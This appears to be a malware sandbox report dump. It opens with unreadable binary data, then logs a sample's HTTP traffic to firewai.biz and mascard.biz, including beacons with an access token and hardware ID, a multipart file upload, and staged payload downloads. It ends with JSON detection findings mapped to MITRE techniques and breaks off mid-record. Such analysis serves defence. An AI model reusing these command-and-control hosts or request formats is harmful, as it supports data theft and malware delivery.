6ñKÜÂ¡a~Ä{æ(Pó¡ö¨ìlÄhV3}3£Ù¬j6ÂçpODÏýë.8Ev¸¡DÑjjxFöY)x28£©ç0Ákf(ø¦n±ïYA±qRÃ¦é÷E0²å+ÀV5ïÞ"\¹2Ãºü\£~&àc¨ú[ª<÷{ÆÎ@üµälpgãAÄèï_v142È®lÜÏýóàcÇà±Jêå9ã~÷ì¤Ê.;J`?D7/(£¸¿ëÂ«ßaßÈ¼B×Úiñ¯o°³;»ë£¶_D½ßònèÊ¾Ôæ=H,üT;a×UùÁ½þ%ñ[#?ª¬CÊ>&Uvv¼[RaòÃ8ÊÆnD]fÓDOIbÛ^®¹ì8P8c>#»¸b1LtDCþ"Â«i~'~Cc}¼O£-Ý°"¶ÑGUC ÀÅQ|tÐÜpÙ]n+ÓS,Ç¸1Ôs~¼&]¤|-.´dóCõ¬Xw0î÷M_Õbó¦röPN¢/´øÌ îùLM:O¯o¿0ËÇ.|á¤o *»aø±¸Ñ8:·÷ "±K*j,ûà°B¨|5Éæ¢Q«dY<[PuæjGë0ÿXxlðd3ª¨··4=ÜVo}û£w+hé=9+ùÉÕP¾ðÔ+¬¼GþT¤±õìRóÒü ½|ß78±f6zâ¿eÎõð©æGM¤Ð¼f9G\þ?´AËq«VNÒ¡¡j8?dÈâÓÝ3õÊº"ØÁnÕP³ë|3¼^ÙUøeîÆÍñh¥@KYøÊ6Yn£O?Ú·ÏZ68qLz½-Z±´ÒèëXå¨SMù!iÓ÷ÑWã~§2æ¢DÊî¯fÕkÝ'4g©Þ]ÎO&q0U«-KÃFtç2;1y½pb&ìµ=¢ÓpõL8¨#)gØÒ:=O=yòn=»I¥¤!)ììd]ê¹3ó-Þ¸¡ük¼tHrNDlU´Ä3Òö@ðÞÿ3jË·ðÏxH¸Â¨$à6Í¡ûÛËÜ>,QúYùÒº_HjçÔÐsÉó|³¼Öek;Ò¼¦Ø¡Dý?íè7zjÆëÝñ|ra{G7y¢G7ßjXº}y<)¥h¶¾y fª5-s=$Ç@õö Çá¤½l,Ï«¾õ|4¡@þ¤+§W9jMÅè°ãØã¬äÕ#ù"ì±}Æ£Và,¢'½/`)E{þöqÉ;nÏJÐ«BW\-¬·ìÅ!ÿ4ïyhÐiËcóPÚ±ÄQ7Èê.d}lL°Ügr2þCÏ¢(Ã8æ¨å"m8#¡SFÀ&¥¿bO\ûBåQK¬.âR¦áuåj!ç¹¹áÝ£s<Åb5O<+ðîÊdª/"_fàÖÉÛÜVÔ@ú¶MÈHQrÑ¡"rÎKB£¥z?MF©%»Úëá²r.amûèSÀ2w·/b ¦Åóz¹ÝEhë¥F!ç²¿UÛ°rv¨rþÄìóê$yµñ;£)ECYi;dlcz1c"®fú·OoW½Oáª¦R¡îL7nÒ$£·XâÍ'TÃÉ%-/¢Ù?Ñ¸6´ìâÀD£Ihßw?£gw¢Ù¯søíþ69ýÅÏøë²M2AÅßêc5ùÕ£Iô7íá³¾éëÈ5^+aÇu?XpÈ×ïk¦R4DµÈ2Í´=¿@E¸éOc¼9!É-mWPy¾¥6øÑï(;7!ë6àÅîÛßäâñÇ¼IgêÚ9aÖóNeaÞéÿ·<_?ûMrìfÿî÷Ç1&¤ï,°A./ÿâ¤øgá}úY'ÒúµÙ sY´¹Tò]ÝÙ§ÂUÀÊ£«HßÑð$+õ/(Ú¢Ù Ö4 l±-÷ÎB÷ñ}·L×+<úq´¾®ð¬XIOØd§ÑúÒÎÉxYHÆÇùÕ£ _´Úó-zâÀ¨!_¬&ÛzìÜeP»E0<²ÔGÝëâb°±ðü:Äsú«Z=:ðýæj2òW^4ÆùË*x:60¥J@·¿¯ñ|×*rí-j}NZÌ)Ô:ø!>k¸Õr ª=ý¤Òã{l4}'@Æ±onp{[ÓiÐQ$7Ám|Ê!|ÞR-¹&®FXîñùº'Üù¹ÏÄHãÁî9Z÷WUdñ««hD~£AÔh{5Ûio$¶¹r¡ÛuVRM;A|±Å¡Va:*/)j\Zø«F6¿!AªywÉó Ý´Õwe&ä[&=®¤æjì}ü_.Çoð²¶4±Å,Õn2Õz@áÊ!ªï½<úU4cïJ:h2·1Ô8Ê#]éã»ªÙgyNd¿°t'&`8eäòFNÌ®JyÃ?±×¢MÃOèP'«¡îf¸P´Ó;vÄ©3¾éxaä!æÛGÖá+Ð¿÷²MµÂA¨¶½Xÿws3M¢+¬ÑìýE%+¤bÌ:w¡K/ðÔ³é«dÁý3««Hda´¶óøoÏÑ%´¯«{^wYþÑzúÛ à:Ã¾$DìòÃ¬è¥^RùâE3'æ×¶!QÄ¤Âéåê:ÂTÔ ahnEÔ¥ÂaÁÁTîïÕ\6MËu¹_Ä4%ëó%dÕí%±½Ó(ÑDyÆ¶ÝçvìÞÛ.rTaP<]Ãs3Ð;ÉKHù¦2.ËÞ? Ôbºsv3ÏÃO5{Ò÷f²° &ª»oEbû¶g9ð\Ý¥Kû|èËEõ2;!KlñÕ#9Yr2ES/ Î&(z|õ$±{»å×YóåàkräîÎG&=aß«9¹²ãB}<;¾!C¾=?gKW§ï®9|ÑÈÇÌº_Öú>xV/UØô´¹gÿÖúY4ØAÑ§×¬;×wDI¾¯m\%3;dvÞ8OH>µhº(Qó¨YML¨4BÕK]ø¬Êm¥#jKÌK·[ø¿"¦|r·Ä<'YÇø~BC&£WÌ3Uz2²pÜº1*oñj7Ð|ÄË½Ü21KjÒbKîHÅª+8w[)²wúöõ#eUÌ¤f½iZ½ÓÏæj<øq¿»j`Ì4(w;Ð#@07?Ëµ23hÅ\Dx/×Ó)1FA3æ#@~Oõ¥Rµ¶M¶g«úerÖ®ÂÐ!?D³ÍØZ@¾±Â9VDíÂÝ:KòÌñ{>qÿÇü{ÿ2&d`§ï+±d]øÅ³àÄáfhþ}!Àý6ÐëÞ Ð2Àëûì8ÄÈ6Ë¶®õÄÕÈ'MG:â±ìÖM^5uÌÒ}(Æ> gâ[MdâI¸O bRkS@»å»ù*Ï<§µk(ÒO¼g%åJ©NßP:WÜ%Fé¡+õ[Ì·=¤Å S0Ò§aJMæº¡5BNÎá×¾|þ±húZÑÈ§M\zgñH¿è.¡)Ú®×jÑCÆ"ÏA>½âMv¥R(ù2)ýmöÚÚòù^Sj%(6¡¥wJ5#Ç:8YL<¡·>zöÿÒ®ËñVnA³J<øjÈËôÎlgèº¥°@D-\Ã4tÌz¨á0ãÉKÛk³¤(_õän%íº£¼%âÀÿÔØæ,îÅ8mDKíoZø}¯_ïJÕ8÷ý)ú ¨W¬Çp{ü7HD#¹è¡BßJ`Rh?K¦çi¥!÷B©~Ú*û6ÔÄ47VH/»OQNËbÊ¢¹âÒS*öX¤"ëÊûZ){Å}«A×½wõNCºÞä¬)`,<Ô!Åý´!úÔ{8²SðdÜÙ°þ·b¤â1<ßkx%a»¶úîcª×PÑ²Ü(ZÇ<¾%é®àòXòò|)éçoæ<6íï¦É@¾ÑJñÞé¼à£C[¥(©:t¶]¯j¶éâ5µª]F]¦¹R¨ûÊÙ÷íVúÑí§ì1ôÅ%¼bãJ9ÇØ-ëï8. hV©MRïÉÉòè¤OD&·s>iwQqaª¸¨ÎüuDGu7P¢cÏ=7?Õ-áNî¯w°aðéâ¬¡Ï÷oR]².¦Ûöqà^6Ê@/!Þ% -ÚS6ÝÈëßc·¸Þ42£úÌ,9ü~Ú¢ÈR/ØA¿_$uÐ{ 2ö±}¦ÒÍ ¢ÒÂã<0Ü¹cRtûâ×;|éëd·TãÚþ÷V}n3¿Æ@>`[xöxë¶2åÚLÞ~n¿±¹>?Ç_æ9ÃÔ¼BZmMÆe³ùçèx{î©®¡Æ#¶lB¶WÞ·ÿ¾^ñôÒ!)]P)Øzçb¸Þ¶{4 ·/^/kíéõ§Ç]:î<9dA|ßôc`+Nö®÷§44[wKº|óÐê;ié/Wâ3B,Éñ|3_vGú¦ßXÂÅyéó³êimô)»ù²×Ã'rVDØAx¹ÊËG®µddå´ÞöO-!¼ÚpÙbÆ6 "access_token=&debug=http://firewai.biz:48261-74" HTTP/1.1 200 OK Server: nginx Date: Mon 18 May 2026 16:41:23 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: firewai.biz:48261" with payload::==> "tag=33affcf13f775e63f90369e9524544d8&hwid=c3f67f91133564456627f6bfa71f9c93" HTTP/1.1 200 OK Server: nginx Date: Mon 18 May 2026 16:41:23 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-8DkagJpRBTD73hP81ZBv0ZhEMgI" with response body ==>651E5E5E29C3AFC288C2B009C293024F5C05C2B93F5568C39711C3B127C38BC388C3AEC38AC3BEC3895E5872C3901456C286C3AE2A27C38CC2B10D20200CC2BD....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 84 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-900" HTTP/1.1 200 OK Server: nginx Date: Mon 18 May 2026 16:41:24 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=Xm7wLqVBTHZJHq User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 900 Host: firewai.biz:48261" with payload::==> "--Xm7wLqVBTHZJHqContent-Disposition: form-data; name="access_token"281c2e36-e0ce-4b4f-a62a-3eacdfa790c8--Xm7wLqVBTHZJHqContent-Disposition: form-data; name="type"0--Xm7wLqVBTHZJHqContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-stream'Qoù¹éÀÅ¯NÁªlõ®P{jôûj«òUVþmIZwPh!°`r¢ÈÒÇWÿS=Â=§ ÿ"ÐçRc5Ès}aÄ^¢Q¬ÏLóÐåxqêc¢/ÝmL!õ14óËO×ñý|Ðä~´ÊbKð#(Vzìe^gùÞö@d©ö³|aáâ9o@PêQäGÙÙ¤Ãí|As-£4`ð+-f~äÐ!«æ¹ç©Êî²?ýªZ-Z^¢+¿y1wy¹jâÝ¢Rº|KF1ÐO¾W¢³BC(_tx-A6|zNª©(tÍdâNVxg¿Vï¦5ð3-Eö,ÄÙ?CCxê¬îß0ó^]¹¼zÉbCß »pªZ;÷¿nW!¡+åÞ¡>OêRÄ`Þåj< ï)¶ÎU»YÚ>*âÅE ªxl^+Áb(×¥ï:\.Îÿ<}àî9º"º:%CM&5=sÕAã·d²ç¯¥®XD'DÆ¥î_|!Î»¿¤Ï§E+?}¹73Ùáã^ðÄRçlÍ«±E%AÊv(y¡uØ|ÌÑõ"j°ýµªê,>¬»ßÎáôTþTX°HÏ$¸=werekò=\V@;!PÌJ1¼!)ðt9^KcME--Xm7wLqVBTHZJHq--" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:24 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:25 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=1" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:26 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-XbVkeqngPiIe7+BNwFnzMoZYh/w" with response body ==>C29C0CC29D36332BC28031C3BF2F3A2CC39B12426C5C7CC2BFC2914CC28FC39AC286C3B4C29AC296C3AA48C292C3B20AC397C28AC38DC29E341C4B52203CC394......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:26 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=2" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:27 GMT Content-Type: application/octet-stream Content-Length: 6882 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1ae2-fFlISbQiU9/KBEt1lLcy4Lb1M5A" with response body ==>C29430C3B9C2A36DC38217C283C393756A46333D7254C3A9C288C2A36E05C39565C3B8C380C3BC70C3BAC28BC392C3AAC3B3C284C38C366AC29D53C3B0C28A39......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:27 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:31 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:32 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:34 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:35 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: mascard.biz:8768" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://mascard.biz:8768-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:37 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: mascard.biz:8768" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: mascard.biz:8768" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://mascard.biz:8768-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: mascard.biz:8768" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: mascard.biz:8768" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://mascard.biz:8768-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:39 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: mascard.biz:8768" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&step=3" HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 May 2026 16:41:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"7-TZaKMKAi9B6YJvDPCdNsK2oiv6Q" with response body ==>6E6F2064617461......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: mascard.biz:8768" with payload::==> "access_token=281c2e36-e0ce-4b4f-a62a-3eacdfa790c8&debug=http://mascard.biz:8768-56" HTTP/1.1 200 OK Server: nginx Date: Mon, 18 May 2026 16:41:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......39:Td18," tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (W)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"5/26 Antivirus vendors marked sample as malicious (19% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$38","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$39","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6a0b411a59b047cff504a217"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.21.67.22 on port 443 is sent without HTTP header","origin":"Network 